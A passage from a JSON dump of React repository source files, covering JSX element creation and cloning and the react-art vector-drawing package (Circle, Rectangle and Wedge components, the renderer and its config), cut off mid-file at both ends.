jsx() runtime because the jsx()\n        // transform never passed these as props; it used separate arguments.\n        propName !== '__self' &&\n        propName !== '__source'\n      ) {\n        props[propName] = config[propName];\n      }\n    }\n  }\n\n  // Children can be more than one argument, and those are transferred onto\n  // the newly allocated props object.\n  const childrenLength = arguments.length - 2;\n  if (childrenLength === 1) {\n    props.children = children;\n  } else if (childrenLength > 1) {\n    const childArray = Array(childrenLength);\n    for (let i = 0; i < childrenLength; i++) {\n      childArray[i] = arguments[i + 2];\n    }\n    if (__DEV__) {\n      if (Object.freeze) {\n        Object.freeze(childArray);\n      }\n    }\n    props.children = childArray;\n  }\n\n  // Resolve default props\n  if (type && type.defaultProps) {\n    const defaultProps = type.defaultProps;\n    for (propName in defaultProps) {\n      if (props[propName] === undefined) {\n        props[propName] = defaultProps[propName];\n      }\n    }\n  }\n  if (__DEV__) {\n    if (key) {\n      const displayName =\n        typeof type === 'function'\n          ? type.displayName || type.name || 'Unknown'\n          : type;\n      defineKeyPropWarningGetter(props, displayName);\n    }\n  }\n  const trackActualOwner =\n    __DEV__ &&\n    ReactSharedInternals.recentlyCreatedOwnerStacks++ < ownerStackLimit;\n  let debugStackDEV = false;\n  if (__DEV__) {\n    if (trackActualOwner) {\n      const previousStackTraceLimit = Error.stackTraceLimit;\n      Error.stackTraceLimit = ownerStackTraceLimit;\n      debugStackDEV = Error('react-stack-top-frame');\n      Error.stackTraceLimit = previousStackTraceLimit;\n    } else {\n      debugStackDEV = unknownOwnerDebugStack;\n    }\n  }\n  return ReactElement(\n    type,\n    key,\n    props,\n    getOwner(),\n    debugStackDEV,\n    __DEV__ &&\n      (trackActualOwner\n        ? createTask(getTaskName(type))\n        : unknownOwnerDebugTask),\n  );\n}\n\nexport function cloneAndReplaceKey(oldElement, newKey) {\n  const clonedElement = ReactElement(\n    oldElement.type,\n    newKey,\n    oldElement.props,\n    !__DEV__ ? undefined : oldElement._owner,\n    __DEV__ && oldElement._debugStack,\n    __DEV__ && oldElement._debugTask,\n  );\n  if (__DEV__) {\n    // The cloned element should inherit the original element's key validation.\n    if (oldElement._store) {\n      clonedElement._store.validated = oldElement._store.validated;\n    }\n  }\n  return clonedElement;\n}\n\n/**\n * Clone and return a new ReactElement using element as the starting point.\n * See https://reactjs.org/docs/react-api.html#cloneelement\n */\nexport function cloneElement(element, config, children) {\n  if (element === null || element === undefined) {\n    throw new Error(\n      `The argument must be a React element, but you passed ${element}.`,\n    );\n  }\n\n  let propName;\n\n  // Original props are copied\n  const props = assign({}, element.props);\n\n  // Reserved names are extracted\n  let key = element.key;\n\n  // Owner will be preserved, unless ref is overridden\n  let owner = !__DEV__ ? undefined : element._owner;\n\n  if (config != null) {\n    if (hasValidRef(config)) {\n      owner = __DEV__ ? getOwner() : undefined;\n    }\n    if (hasValidKey(config)) {\n      if (enableOptimisticKey && config.key === REACT_OPTIMISTIC_KEY) {\n        key = REACT_OPTIMISTIC_KEY;\n      } else {\n        if (__DEV__) {\n          checkKeyStringCoercion(config.key);\n        }\n        key = '' + config.key;\n      }\n    }\n\n    // Remaining properties override existing props\n    for (propName in config) {\n      if (\n        hasOwnProperty.call(config, propName) &&\n        // Skip over reserved prop names\n        propName !== 'key' &&\n        // ...and maybe these, too, though we currently rely on them for\n        // warnings and debug information in dev. Need to decide if we're OK\n        // with dropping them. In the jsx() runtime it's not an issue because\n        // the data gets passed as separate arguments instead of props, but\n        // it would be nice to stop relying on them entirely so we can drop\n        // them from the internal Fiber field.\n        propName !== '__self' &&\n        propName !== '__source' &&\n        // Undefined `ref` is ignored by cloneElement. We treat it the same as\n        // if the property were missing. This is mostly for\n        // backwards compatibility.\n        !(propName === 'ref' && config.ref === undefined)\n      ) {\n        props[propName] = config[propName];\n      }\n    }\n  }\n\n  // Children can be more than one argument, and those are transferred onto\n  // the newly allocated props object.\n  const childrenLength = arguments.length - 2;\n  if (childrenLength === 1) {\n    props.children = children;\n  } else if (childrenLength > 1) {\n    const childArray = Array(childrenLength);\n    for (let i = 0; i < childrenLength; i++) {\n      childArray[i] = arguments[i + 2];\n    }\n    props.children = childArray;\n  }\n\n  const clonedElement = ReactElement(\n    element.type,\n    key,\n    props,\n    owner,\n    __DEV__ && element._debugStack,\n    __DEV__ && element._debugTask,\n  );\n\n  for (let i = 2; i < arguments.length; i++) {\n    validateChildKeys(arguments[i]);\n  }\n\n  return clonedElement;\n}\n\n/**\n * Ensure that every element either is passed in a static location, in an\n * array with an explicit keys property defined, or in an object literal\n * with valid key property.\n *\n * @internal\n * @param {ReactNode} node Statically passed child of any type.\n * @param {*} parentType node's parent's type.\n */\nfunction validateChildKeys(node) {\n  if (__DEV__) {\n    // Mark elements as being in a valid static child position so they\n    // don't need keys.\n    if (isValidElement(node)) {\n      if (node._store) {\n        node._store.validated = 1;\n      }\n    } else if (isLazyType(node)) {\n      if (node._payload.status === 'fulfilled') {\n        if (isValidElement(node._payload.value) && node._payload.value._store) {\n          node._payload.value._store.validated = 1;\n        }\n      } else if (node._store) {\n        node._store.validated = 1;\n      }\n    }\n  }\n}\n\n/**\n * Verifies the object is a ReactElement.\n * See https://reactjs.org/docs/react-api.html#isvalidelement\n * @param {?object} object\n * @return {boolean} True if `object` is a ReactElement.\n * @final\n */\nexport function isValidElement(object) {\n  return (\n    typeof object === 'object' &&\n    object !== null &&\n    object.$$typeof === REACT_ELEMENT_TYPE\n  );\n}\n\nexport function isLazyType(object) {\n  return (\n    typeof object === 'object' &&\n    object !== null &&\n    object.$$typeof === REACT_LAZY_TYPE\n  );\n}\n"
  },
  {
    "path": "packages/react/src/jsx/ReactJSXServer.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\nimport {REACT_FRAGMENT_TYPE} from 'shared/ReactSymbols';\nimport {\n  jsxProd,\n  jsxProdSignatureRunningInDevWithDynamicChildren,\n  jsxProdSignatureRunningInDevWithStaticChildren,\n  jsxDEV as _jsxDEV,\n} from './ReactJSXElement';\n\nconst jsx: any = __DEV__\n  ? jsxProdSignatureRunningInDevWithDynamicChildren\n  : jsxProd;\n// we may want to special case jsxs internally to take advantage of static children.\n// for now we can ship identical prod functions\nconst jsxs: any = __DEV__\n  ? jsxProdSignatureRunningInDevWithStaticChildren\n  : jsxProd;\n\nconst jsxDEV: any = __DEV__ ? _jsxDEV : undefined;\n\nexport {REACT_FRAGMENT_TYPE as Fragment, jsx, jsxs, jsxDEV};\n"
  },
  {
    "path": "packages/react-art/Circle.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nexport {default} from './npm/Circle';\n"
  },
  {
    "path": "packages/react-art/README.md",
    "content": "# React ART\n\nReact ART is a JavaScript library for drawing vector graphics using [React](https://github.com/facebook/react/).\n\nIt provides declarative and reactive bindings to the [ART library](https://github.com/sebmarkbage/art/).\n\nUsing the same declarative API you can render the output to either Canvas, SVG or VML (IE8).\n"
  },
  {
    "path": "packages/react-art/Rectangle.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nexport {default} from './npm/Rectangle';\n"
  },
  {
    "path": "packages/react-art/Wedge.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nexport {default} from './npm/Wedge';\n"
  },
  {
    "path": "packages/react-art/index.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nexport * from './src/ReactART';\n"
  },
  {
    "path": "packages/react-art/npm/Circle.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n * @typechecks\n *\n * Example usage:\n * <Circle\n *   radius={10}\n *   stroke=\"green\"\n *   strokeWidth={3}\n *   fill=\"blue\"\n * />\n *\n */\n\n'use strict';\n\nvar assign = Object.assign;\nvar React = require('react');\nvar ReactART = require('react-art');\n\nvar createReactClass = require('create-react-class');\n\nvar Path = ReactART.Path;\nvar Shape = ReactART.Shape;\n\n/**\n * Circle is a React component for drawing circles. Like other ReactART\n * components, it must be used in a <Surface>.\n */\nvar Circle = createReactClass({\n  displayName: 'Circle',\n\n  render: function render() {\n    var radius = this.props.radius;\n\n    var path = Path()\n      .moveTo(0, -radius)\n      .arc(0, radius * 2, radius)\n      .arc(0, radius * -2, radius)\n      .close();\n    return React.createElement(Shape, assign({}, this.props, {d: path}));\n  },\n});\n\nmodule.exports = Circle;\n"
  },
  {
    "path": "packages/react-art/npm/Rectangle.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n * @typechecks\n *\n * Example usage:\n * <Rectangle\n *   width={50}\n *   height={50}\n *   stroke=\"green\"\n *   fill=\"blue\"\n * />\n *\n * Additional optional properties:\n *   (Number) radius\n *   (Number) radiusTopLeft\n *   (Number) radiusTopRight\n *   (Number) radiusBottomLeft\n *   (Number) radiusBottomRight\n *\n */\n\n'use strict';\n\nvar assign = Object.assign;\nvar React = require('react');\nvar ReactART = require('react-art');\n\nvar createReactClass = require('create-react-class');\n\nvar Shape = ReactART.Shape;\nvar Path = ReactART.Path;\n\n/**\n * Rectangle is a React component for drawing rectangles. Like other ReactART\n * components, it must be used in a <Surface>.\n */\nvar Rectangle = createReactClass({\n  displayName: 'Rectangle',\n\n  render: function render() {\n    var width = this.props.width;\n    var height = this.props.height;\n    var radius = this.props.radius ? this.props.radius : 0;\n\n    // if unspecified, radius(Top|Bottom)(Left|Right) defaults to the radius\n    // property\n    var tl = this.props.radiusTopLeft ? this.props.radiusTopLeft : radius;\n    var tr = this.props.radiusTopRight ? this.props.radiusTopRight : radius;\n    var br = this.props.radiusBottomRight\n      ? this.props.radiusBottomRight\n      : radius;\n    var bl = this.props.radiusBottomLeft ? this.props.radiusBottomLeft : radius;\n\n    var path = Path();\n\n    // for negative width/height, offset the rectangle in the negative x/y\n    // direction. for negative radius, just default to 0.\n    if (width < 0) {\n      path.move(width, 0);\n      width = -width;\n    }\n    if (height < 0) {\n      path.move(0, height);\n      height = -height;\n    }\n    if (tl < 0) {\n      tl = 0;\n    }\n    if (tr < 0) {\n      tr = 0;\n    }\n    if (br < 0) {\n      br = 0;\n    }\n    if (bl < 0) {\n      bl = 0;\n    }\n\n    // disable border radius if it doesn't fit within the specified\n    // width/height\n    if (tl + tr > width) {\n      tl = 0;\n      tr = 0;\n    }\n    if (bl + br > width) {\n      bl = 0;\n      br = 0;\n    }\n    if (tl + bl > height) {\n      tl = 0;\n      bl = 0;\n    }\n    if (tr + br > height) {\n      tr = 0;\n      br = 0;\n    }\n\n    path.move(0, tl);\n\n    if (tl > 0) {\n      path.arc(tl, -tl);\n    }\n    path.line(width - (tr + tl), 0);\n\n    if (tr > 0) {\n      path.arc(tr, tr);\n    }\n    path.line(0, height - (tr + br));\n\n    if (br > 0) {\n      path.arc(-br, br);\n    }\n    path.line(-width + (br + bl), 0);\n\n    if (bl > 0) {\n      path.arc(-bl, -bl);\n    }\n    path.line(0, -height + (bl + tl));\n\n    return React.createElement(Shape, assign({}, this.props, {d: path}));\n  },\n});\n\nmodule.exports = Rectangle;\n"
  },
  {
    "path": "packages/react-art/npm/Wedge.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n * @typechecks\n *\n * Example usage:\n * <Wedge\n *   outerRadius={50}\n *   startAngle={0}\n *   endAngle={360}\n *   fill=\"blue\"\n * />\n *\n * Additional optional property:\n *   (Int) innerRadius\n *\n */\n\n'use strict';\n\nvar assign = Object.assign;\nvar React = require('react');\nvar ReactART = require('react-art');\n\nvar createReactClass = require('create-react-class');\n\nvar Shape = ReactART.Shape;\nvar Path = ReactART.Path;\n\n/**\n * Wedge is a React component for drawing circles, wedges and arcs. Like other\n * ReactART components, it must be used in a <Surface>.\n */\nvar Wedge = createReactClass({\n  displayName: 'Wedge',\n\n  circleRadians: Math.PI * 2,\n\n  radiansPerDegree: Math.PI / 180,\n\n  /**\n   * _degreesToRadians(degrees)\n   *\n   * Helper function to convert degrees to radians\n   *\n   * @param {number} degrees\n   * @return {number}\n   */\n  _degreesToRadians: function _degreesToRadians(degrees) {\n    if (degrees !== 0 && degrees % 360 === 0) {\n      // 360, 720, etc.\n      return this.circleRadians;\n    } else {\n      return (degrees * this.radiansPerDegree) % this.circleRadians;\n    }\n  },\n\n  /**\n   * _createCirclePath(or, ir)\n   *\n   * Creates the ReactART Path for a complete circle.\n   *\n   * @param {number} or The outer radius of the circle\n   * @param {number} ir The inner radius, greater than zero for a ring\n   * @return {object}\n   */\n  _createCirclePath: function _createCirclePath(or, ir) {\n    var path = Path();\n\n    path\n      .move(0, or)\n      .arc(or * 2, 0, or)\n      .arc(-or * 2, 0, or);\n\n    if (ir) {\n      path\n        .move(or - ir, 0)\n        .counterArc(ir * 2, 0, ir)\n        .counterArc(-ir * 2, 0, ir);\n    }\n\n    path.close();\n\n    return path;\n  },\n\n  /**\n   * _createArcPath(sa, ea, ca, or, ir)\n   *\n   * Creates the ReactART Path for an arc or wedge.\n   *\n   * @param {number} startAngle The starting degrees relative to 12 o'clock\n   * @param {number} endAngle The ending degrees relative to 12 o'clock\n   * @param {number} or The outer radius in pixels\n   * @param {number} ir The inner radius in pixels, greater than zero for an arc\n   * @return {object}\n   */\n  _createArcPath: function _createArcPath(startAngle, endAngle, or, ir) {\n    var path = Path();\n\n    // angles in radians\n    var sa = this._degreesToRadians(startAngle);\n    var ea = this._degreesToRadians(endAngle);\n\n    // central arc angle in radians\n    var ca = sa > ea ? this.circleRadians - sa + ea : ea - sa;\n\n    // cached sine and cosine values\n    var ss = Math.sin(sa);\n    var es = Math.sin(ea);\n    var sc = Math.cos(sa);\n    var ec = Math.cos(ea);\n\n    // cached differences\n    var ds = es - ss;\n    var dc = ec - sc;\n    var dr = ir - or;\n\n    // if the angle is over pi radians (180 degrees)\n    // we will need to let the drawing method know.\n    var large = ca > Math.PI;\n\n    // TODO (sema) Please improve theses comments to make the math\n    // more understandable.\n    //\n    // Formula for a point on a circle at a specific angle with a center\n    // at (0, 0):\n    // x = radius * Math.sin(radians)\n    // y = radius * Math.cos(radians)\n    //\n    // For our starting point, we offset the formula using the outer\n    // radius because our origin is at (top, left).\n    // In typical web layout fashion, we are drawing in quadrant IV\n    // (a.k.a. Southeast) where x is positive and y is negative.\n    //\n    // The arguments for path.arc and path.counterArc used below are:\n    // (endX, endY, radiusX, radiusY, largeAngle)\n\n    path\n      .move(or + or * ss, or - or * sc) // move to starting point\n      .arc(or * ds, or * -dc, or, or, large) // outer arc\n      .line(dr * es, dr * -ec); // width of arc or wedge\n\n    if (ir) {\n      path.counterArc(ir * -ds, ir * dc, ir, ir, large); // inner arc\n    }\n\n    return path;\n  },\n\n  render: function render() {\n    // angles are provided in degrees\n    var startAngle = this.props.startAngle;\n    var endAngle = this.props.endAngle;\n    if (startAngle - endAngle === 0) {\n      return null;\n    }\n\n    // radii are provided in pixels\n    var innerRadius = this.props.innerRadius || 0;\n    var outerRadius = this.props.outerRadius;\n\n    // sorted radii\n    var ir = Math.min(innerRadius, outerRadius);\n    var or = Math.max(innerRadius, outerRadius);\n\n    var path;\n    if (endAngle >= startAngle + 360) {\n      path = this._createCirclePath(or, ir);\n    } else {\n      path = this._createArcPath(startAngle, endAngle, or, ir);\n    }\n\n    return React.createElement(Shape, assign({}, this.props, {d: path}));\n  },\n});\n\nmodule.exports = Wedge;\n"
  },
  {
    "path": "packages/react-art/npm/index.js",
    "content": "'use strict';\n\nif (process.env.NODE_ENV === 'production') {\n  module.exports = require('./cjs/react-art.production.js');\n} else {\n  module.exports = require('./cjs/react-art.development.js');\n}\n"
  },
  {
    "path": "packages/react-art/package.json",
    "content": "{\n  \"name\": \"react-art\",\n  \"description\": \"React ART is a JavaScript library for drawing vector graphics using React. It provides declarative and reactive bindings to the ART library. Using the same declarative API you can render the output to either Canvas, SVG or VML (IE8).\",\n  \"version\": \"19.3.0\",\n  \"main\": \"index.js\",\n  \"repository\": {\n    \"type\": \"git\",\n    \"url\": \"https://github.com/facebook/react.git\",\n    \"directory\": \"packages/react-art\"\n  },\n  \"keywords\": [\n    \"react\",\n    \"art\",\n    \"svg\",\n    \"vml\",\n    \"canvas\",\n    \"jsx\"\n  ],\n  \"license\": \"MIT\",\n  \"bugs\": {\n    \"url\": \"https://github.com/facebook/react/issues\"\n  },\n  \"homepage\": \"https://react.dev/\",\n  \"dependencies\": {\n    \"art\": \"^0.10.1\",\n    \"create-react-class\": \"^15.6.2\",\n    \"scheduler\": \"^0.28.0\"\n  },\n  \"peerDependencies\": {\n    \"react\": \"^19.3.0\"\n  },\n  \"files\": [\n    \"LICENSE\",\n    \"README.md\",\n    \"index.js\",\n    \"cjs/\",\n    \"Circle.js\",\n    \"Rectangle.js\",\n    \"Wedge.js\"\n  ]\n}\n"
  },
  {
    "path": "packages/react-art/src/ReactART.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\nimport * as React from 'react';\nimport ReactVersion from 'shared/ReactVersion';\nimport {LegacyRoot, ConcurrentRoot} from 'react-reconciler/src/ReactRootTags';\nimport {\n  createContainer,\n  updateContainerSync,\n  injectIntoDevTools,\n  flushSyncWork,\n  defaultOnUncaughtError,\n  defaultOnCaughtError,\n  defaultOnRecoverableError,\n} from 'react-reconciler/src/ReactFiberReconciler';\n\nimport Transform from 'art/core/transform';\nimport Mode from 'art/modes/current';\nimport FastNoSideEffects from 'art/modes/fast-noSideEffects';\nimport {disableLegacyMode} from 'shared/ReactFeatureFlags';\n\nimport {TYPES, childrenAsString} from './ReactARTInternals';\n\nfunction defaultOnDefaultTransitionIndicator() {\n  // Noop\n}\n\nMode.setCurrent(\n  // Change to 'art/modes/dom' for easier debugging via SVG\n  FastNoSideEffects,\n);\n\n/** Declarative fill-type objects; API design not finalized */\n\nconst slice = Array.prototype.slice;\n\nclass LinearGradient {\n  constructor(stops, x1, y1, x2, y2) {\n    this._args = slice.call(arguments);\n  }\n\n  applyFill(node) {\n    node.fillLinear.apply(node, this._args);\n  }\n}\n\nclass RadialGradient {\n  constructor(stops, fx, fy, rx, ry, cx, cy) {\n    this._args = slice.call(arguments);\n  }\n\n  applyFill(node) {\n    node.fillRadial.apply(node, this._args);\n  }\n}\n\nclass Pattern {\n  constructor(url, width, height, left, top) {\n    this._args = slice.call(arguments);\n  }\n\n  applyFill(node) {\n    node.fillImage.apply(node, this._args);\n  }\n}\n\n/** React Components */\n\nclass Surface extends React.Component {\n  componentDidMount() {\n    const {height, width} = this.props;\n\n    this._surface = Mode.Surface(+width, +height, this._tagRef);\n\n    this._mountNode = createContainer(\n      this._surface,\n      disableLegacyMode ? ConcurrentRoot : LegacyRoot,\n      null,\n      false,\n      false,\n      '',\n      defaultOnUncaughtError,\n      defaultOnCaughtError,\n      defaultOnRecoverableError,\n      defaultOnDefaultTransitionIndicator,\n      null,\n    );\n    // We synchronously flush updates coming from above so that they commit together\n    // and so that refs resolve before the parent life cycles.\n    updateContainerSync(this.props.children, this._mountNode, this);\n    flushSyncWork();\n  }\n\n  componentDidUpdate(prevProps, prevState) {\n    const props = this.props;\n\n    if (props.height !== prevProps.height || props.width !== prevProps.width) {\n      this._surface.resize(+props.width, +props.height);\n    }\n\n    // We synchronously flush updates coming from above so that they commit together\n    // and so that refs resolve before the parent life cycles.\n    updateContainerSync(this.props.children, this._mountNode, this);\n    flushSyncWork();\n\n    if (this._surface.render) {\n      this._surface.render();\n    }\n  }\n\n  componentWillUnmount() {\n    // We synchronously flush updates coming from above so that they commit together\n    // and so that refs resolve before the parent life cycles.\n    updateContainerSync(null, this._mountNode, this);\n    flushSyncWork();\n  }\n\n  render() {\n    // This is going to be a placeholder because we don't know what it will\n    // actually resolve to because ART may render canvas, vml or svg tags here.\n    // We only allow a subset of properties since others might conflict with\n    // ART's properties.\n    const props = this.props;\n\n    // TODO: ART's Canvas Mode overrides surface title and cursor\n    const Tag = Mode.Surface.tagName;\n\n    return (\n      <Tag\n        ref={ref => (this._tagRef = ref)}\n        accessKey={props.accessKey}\n        className={props.className}\n        draggable={props.draggable}\n        role={props.role}\n        style={props.style}\n        tabIndex={props.tabIndex}\n        title={props.title}\n      />\n    );\n  }\n}\n\nclass Text extends React.Component {\n  constructor(props) {\n    super(props);\n    // We allow reading these props. Ideally we could expose the Text node as\n    // ref directly.\n    ['height', 'width', 'x', 'y'].forEach(key => {\n      Object.defineProperty(this, key, {\n        get: function () {\n          return this._text ? this._text[key] : undefined;\n        },\n      });\n    });\n  }\n  render() {\n    // This means you can't have children that render into strings...\n    const T = TYPES.TEXT;\n    return (\n      <T {...this.props} ref={t => (this._text = t)}>\n        {childrenAsString(this.props.children)}\n      </T>\n    );\n  }\n}\n\ninjectIntoDevTools();\n\n/** API */\n\nexport const ClippingRectangle = TYPES.CLIPPING_RECTANGLE;\nexport const Group = TYPES.GROUP;\nexport const Shape = TYPES.SHAPE;\nexport const Path = Mode.Path;\nexport {LinearGradient, Pattern, RadialGradient, Surface, Text, Transform};\n\nexport {ReactVersion as version};\n"
  },
  {
    "path": "packages/react-art/src/ReactARTInternals.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\nexport const TYPES = {\n  CLIPPING_RECTANGLE: 'ClippingRectangle',\n  GROUP: 'Group',\n  SHAPE: 'Shape',\n  TEXT: 'Text',\n};\n\nexport const EVENT_TYPES = {\n  onClick: 'click',\n  onMouseMove: 'mousemove',\n  onMouseOver: 'mouseover',\n  onMouseOut: 'mouseout',\n  onMouseUp: 'mouseup',\n  onMouseDown: 'mousedown',\n};\n\nexport function childrenAsString(children) {\n  if (!children) {\n    return '';\n  } else if (typeof children === 'string') {\n    return children;\n  } else if (children.length) {\n    return children.join('');\n  } else {\n    return '';\n  }\n}\n"
  },
  {
    "path": "packages/react-art/src/ReactFiberConfigART.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\nimport type {EventPriority} from 'react-reconciler/src/ReactEventPriorities';\n\nimport Transform from 'art/core/transform';\nimport Mode from 'art/modes/current';\n\nimport {TYPES, EVENT_TYPES, childrenAsString} from './ReactARTInternals';\n\nimport {\n  DefaultEventPriority,\n  NoEventPriority,\n} from 'react-reconciler/src/ReactEventPriorities';\nimport type {ReactContext} from 'shared/ReactTypes';\nimport {REACT_CONTEXT_TYPE} from 'shared/ReactSymbols';\n\nexport {default as rendererVersion} from 'shared/ReactVersion';\nexport const rendererPackageName = 'react-art';\nexport const extraDevToolsConfig = null;\n\nconst pooledTransform = new Transform();\n\nconst NO_CONTEXT = {};\nif (__DEV__) {\n  Object.freeze(NO_CONTEXT);\n}\n\nexport type TransitionStatus = mixed;\n\n/** Helper Methods */\n\nfunction addEventListeners(instance, type, listener) {\n  // We need to explicitly unregister before unmount.\n  // For this reason we need to track subscriptions.\n  if (!instance._listeners) {\n    instance._listeners = {};\n    instance._subscriptions = {};\n  }\n\n  instance._listeners[type] = listener;\n\n  if (listener) {\n    if (!instance._subscriptions[type]) {\n      instance._subscriptions[type] = instance.subscribe(\n        type,\n        createEventHandler(instance),\n        instance,\n      );\n    }\n  } else {\n    if (instance._subscriptions[type]) {\n      instance._subscriptions[type]();\n      delete instance._subscriptions[type];\n    }\n  }\n}\n\nfunction createEventHandler(instance) {\n  return function handleEvent(event) {\n    const listener = instance._listeners[event.type];\n\n    if (!listener) {\n      // Noop\n    } else if (typeof listener === 'function') {\n      listener.call(instance, event);\n    } else if (listener.handleEvent) {\n      listener.handleEvent(event);\n    }\n  };\n}\n\nfunction destroyEventListeners(instance) {\n  if (instance._subscriptions) {\n    for (const type in instance._subscriptions) {\n      instance._subscriptions[type]();\n    }\n  }\n\n  instance._subscriptions = null;\n  instance._listeners = null;\n}\n\nfunction getScaleX(props) {\n  if (props.scaleX != null) {\n    return props.scaleX;\n  } else if (props.scale != null) {\n    return props.scale;\n  } else {\n    return 1;\n  }\n}\n\nfunction getScaleY(props) {\n  if (props.scaleY != null) {\n    return props.scaleY;\n  } else if (props.scale != null) {\n    return props.scale;\n  } else {\n    return 1;\n  }\n}\n\nfunction isSameFont(oldFont, newFont) {\n  if (oldFont === newFont) {\n    return true;\n  } else if (typeof newFont === 'string' || typeof oldFont === 'string') {\n    return false;\n  } else {\n    return (\n      newFont.fontSize === oldFont.fontSize &&\n      newFont.fontStyle === oldFont.fontStyle &&\n      newFont.fontVariant === oldFont.fontVariant &&\n      newFont.fontWeight === oldFont.fontWeight &&\n      newFont.fontFamily === oldFont.fontFamily\n    );\n  }\n}\n\n/** Render Methods */\n\nfunction applyClippingRectangleProps(instance, props, prevProps = {}) {\n  applyNodeProps(instance, props, prevProps);\n\n  instance.width = props.width;\n  instance.height = props.height;\n}\n\nfunction applyGroupProps(instance, props, prevProps = {}) {\n  applyNodeProps(instance, props, prevProps);\n\n  instance.width = props.width;\n  instance.height = props.height;\n}\n\nfunction applyNodeProps(instance, props, prevProps = {}) {\n  const scaleX = getScaleX(props);\n  const scaleY = getScaleY(props);\n\n  pooledTransform\n    .transformTo(1, 0, 0, 1, 0, 0)\n    .move(props.x || 0, props.y || 0)\n    .rotate(props.rotation || 0, props.originX, props.originY)\n    .scale(scaleX, scaleY, props.originX, props.originY);\n\n  if (props.transform != null) {\n    pooledTransform.transform(props.transform);\n  }\n\n  if (\n    instance.xx !== pooledTransform.xx ||\n    instance.yx !== pooledTransform.yx ||\n    instance.xy !== pooledTransform.xy ||\n    instance.yy !== pooledTransform.yy ||\n    instance.x !== pooledTransform.x ||\n    instance.y !== pooledTransform.y\n  ) {\n    instance.transformTo(pooledTransform);\n  }\n\n  if (props.cursor !== prevProps.cursor || props.title !== prevProps.title) {\n    instance.indicate(props.cursor, props.title);\n  }\n\n  if (instance.blend && props.opacity !== prevProps.opacity) {\n    instance.blend(props.opacity == null ? 1 : props.opacity);\n  }\n\n  if (props.visible !== prevProps.visible) {\n    if (props.visible == null || props.visible) {\n      instance.show();\n    } else {\n      instance.hide();\n    }\n  }\n\n  for (const type in EVENT_TYPES) {\n    addEventListeners(instance, EVENT_TYPES[type], props[type]);\n  }\n}\n\nfunction applyRenderableNodeProps(instance, props, prevProps = {}) {\n  applyNodeProps(instance, props, prevProps);\n\n  if (prevProps.fill !== props.fill) {\n    if (props.fill && props.fill.applyFill) {\n      props.fill.applyFill(instance);\n    } else {\n      instance.fill(props.fill);\n    }\n  }\n  if (\n    prevProps.stroke !== props.stroke ||\n    prevProps.strokeWidth !== props.strokeWidth ||\n    prevProps.strokeCap !== props.strokeCap ||\n    prevProps.strokeJoin !== props.strokeJoin ||\n    // TODO: Consider deep check of stokeDash; may benefit VML in IE.\n    prevProps.strokeDash !== props.strokeDash\n  ) {\n    instance.stroke(\n      props.stroke,\n      props.strokeWidth,\n      props.strokeCap,\n      props.strokeJoin,\n      props.strokeDash,\n    );\n  }\n}\n\nfunction applyShapeProps(instance, props, prevProps = {}) {\n  applyRenderableNodeProps(instance, props, prevProps);\n\n  const path = props.d || childrenAsString(props.children);\n\n  const prevDelta = instance._prevDelta;\n  const prevPath = instance._prevPath;\n\n  if (\n    path !== prevPath ||\n    path.delta !== prevDelta ||\n    prevProps.height !== props.height ||\n    prevProps.width !== props.width\n  ) {\n    instance.draw(path, props.width, props.height);\n\n    instance._prevDelta = path.delta;\n    instance._prevPath = path;\n  }\n}\n\nfunction applyTextProps(instance, props, prevProps = {}) {\n  applyRenderableNodeProps(instance, props, prevProps);\n\n  const string = props.children;\n\n  if (\n    instance._currentString !== string ||\n    !isSameFont(props.font, prevProps.font) ||\n    props.alignment !== prevProps.alignment ||\n    props.path !== prevProps.path\n  ) {\n    instance.draw(string, props.font, props.alignment, props.path);\n\n    instance._currentString = string;\n  }\n}\n\nexport * from 'react-reconciler/src/ReactFiberConfigWithNoPersistence';\nexport * from 'react-reconciler/src/ReactFiberConfigWithNoHydration';\nexport * from 'react-reconciler/src/ReactFiberConfigWithNoScopes';\nexport * from 'react-reconciler/src/ReactFiberConfigWithNoTestSelectors';\nexport * from 'react-reconciler/src/ReactFiberConfigWithNoMicrotasks';\nexport * from 'react-reconciler/src/ReactFiberConfigWithNoResources';\nexport * from 'react-reconciler/src/ReactFiberConfigWithNoSingletons';\n\nexport function appendInitialChild(parentInstance, child) {\n  if (typeof child === 'string') {\n    // Noop for string children of Text (eg <Text>{'foo'}{'bar'}</Text>)\n    throw new Error('Text children should already be flattened.');\n  }\n\n  child.inject(parentInstance);\n}\n\nexport function createInstance(type, props, internalInstanceHandle) {\n  let instance;\n\n  switch (type) {\n    case TYPES.CLIPPING_RECTANGLE:\n      instance = Mode.ClippingRectangle();\n      instance._applyProps = applyClippingRectangleProps;\n      break;\n    case TYPES.GROUP:\n      instance = Mode.Group();\n      instance._applyProps = applyGroupProps;\n      break;\n    case TYPES.SHAPE:\n      instance = 